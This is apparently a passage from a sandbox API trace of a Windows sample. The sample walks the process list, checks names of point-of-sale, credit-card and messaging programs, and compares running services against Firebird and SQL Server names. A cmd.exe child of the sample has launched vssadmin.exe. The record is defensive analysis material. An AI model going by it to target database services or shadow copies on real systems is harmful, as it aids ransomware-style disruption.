(in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0051.759] lstrlenW (lpString="totalcmd.exe") returned 12 [0051.759] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0051.761] lstrlenW (lpString="trillian.exe") returned 12 [0051.761] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0051.762] lstrlenW (lpString="webdrive.exe") returned 12 [0051.763] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0051.764] lstrlenW (lpString="whatsapp.exe") returned 12 [0051.764] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0051.766] lstrlenW (lpString="winscp.exe") returned 10 [0051.766] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0051.767] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0051.767] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0051.769] lstrlenW (lpString="active-charge.exe") returned 17 [0051.769] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0051.770] lstrlenW (lpString="accupos.exe") returned 11 [0051.770] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0051.771] lstrlenW (lpString="afr38.exe") returned 9 [0051.772] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0051.773] lstrlenW (lpString="aldelo.exe") returned 10 [0051.773] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0051.774] lstrlenW (lpString="ccv_server.exe") returned 14 [0051.774] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0051.776] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0051.776] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0052.068] lstrlenW (lpString="creditservice.exe") returned 17 [0052.068] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0052.086] lstrlenW (lpString="edcsvr.exe") returned 10 [0052.086] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0052.087] lstrlenW (lpString="fpos.exe") returned 8 [0052.088] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0052.089] lstrlenW (lpString="isspos.exe") returned 10 [0052.089] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0052.097] lstrlenW (lpString="mxslipstream.exe") returned 16 [0052.097] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0052.098] lstrlenW (lpString="omnipos.exe") returned 11 [0052.099] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0052.100] lstrlenW (lpString="spcwin.exe") returned 10 [0052.100] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0052.101] lstrlenW (lpString="spgagentservice.exe") returned 19 [0052.101] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0052.102] lstrlenW (lpString="utg2.exe") returned 8 [0052.103] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0052.104] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0052.105] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0052.106] lstrlenW (lpString="increases.exe") returned 13 [0052.106] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.107] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.107] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.108] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.108] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0052.109] lstrlenW (lpString="driver.exe") returned 10 [0052.109] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.110] lstrlenW (lpString="cmd.exe") returned 7 [0052.110] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.111] lstrlenW (lpString="conhost.exe") returned 11 [0052.111] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.113] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.113] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0052.114] CloseHandle (hObject=0x1ac) returned 1 [0052.114] Sleep (dwMilliseconds=0x1f4) [0052.750] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0750 [0052.751] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0052.751] GetLastError () returned 0xea [0052.751] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13a6) returned 0x60e1c0 [0052.751] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x13a6, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0052.752] CloseServiceHandle (hSCObject=0x35f0750) returned 1 [0052.753] lstrlenW (lpString="Appinfo") returned 7 [0052.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.753] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.753] lstrlenW (lpString="AudioSrv") returned 8 [0052.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.753] lstrlenW (lpString="BFE") returned 3 [0052.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.754] lstrlenW (lpString="CryptSvc") returned 8 [0052.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.754] lstrlenW (lpString="CscService") returned 10 [0052.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.754] lstrlenW (lpString="DcomLaunch") returned 10 [0052.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.754] lstrlenW (lpString="Dhcp") returned 4 [0052.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.755] lstrlenW (lpString="Dnscache") returned 8 [0052.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.755] lstrlenW (lpString="DPS") returned 3 [0052.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.755] lstrlenW (lpString="eventlog") returned 8 [0052.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.756] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.756] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.756] lstrlenW (lpString="EventSystem") returned 11 [0052.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.756] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.756] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.756] lstrlenW (lpString="FontCache") returned 9 [0052.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0052.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0052.756] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0052.756] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0052.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0052.756] lstrlenW (lpString="gpsvc") returned 5 [0052.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.756] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.756] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.756] lstrlenW (lpString="iphlpsvc") returned 8 [0052.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.757] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.757] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.757] lstrlenW (lpString="LanmanServer") returned 12 [0052.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.757] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.757] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.757] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.757] lstrlenW (lpString="lmhosts") returned 7 [0052.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.757] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.757] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.758] lstrlenW (lpString="MMCSS") returned 5 [0052.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.758] lstrlenW (lpString="MpsSvc") returned 6 [0052.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.758] lstrlenW (lpString="Netman") returned 6 [0052.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.759] lstrlenW (lpString="netprofm") returned 8 [0052.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.759] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.759] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.759] lstrlenW (lpString="NlaSvc") returned 6 [0052.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.759] lstrlenW (lpString="nsi") returned 3 [0052.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.759] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.759] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.760] lstrlenW (lpString="PcaSvc") returned 6 [0052.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.760] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.760] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.760] lstrlenW (lpString="PlugPlay") returned 8 [0052.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.760] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.760] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.760] lstrlenW (lpString="Power") returned 5 [0052.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.760] lstrlenW (lpString="ProfSvc") returned 7 [0052.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.760] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.760] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.760] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.761] lstrlenW (lpString="RpcSs") returned 5 [0052.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.761] lstrlenW (lpString="SamSs") returned 5 [0052.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.761] lstrcmpiW 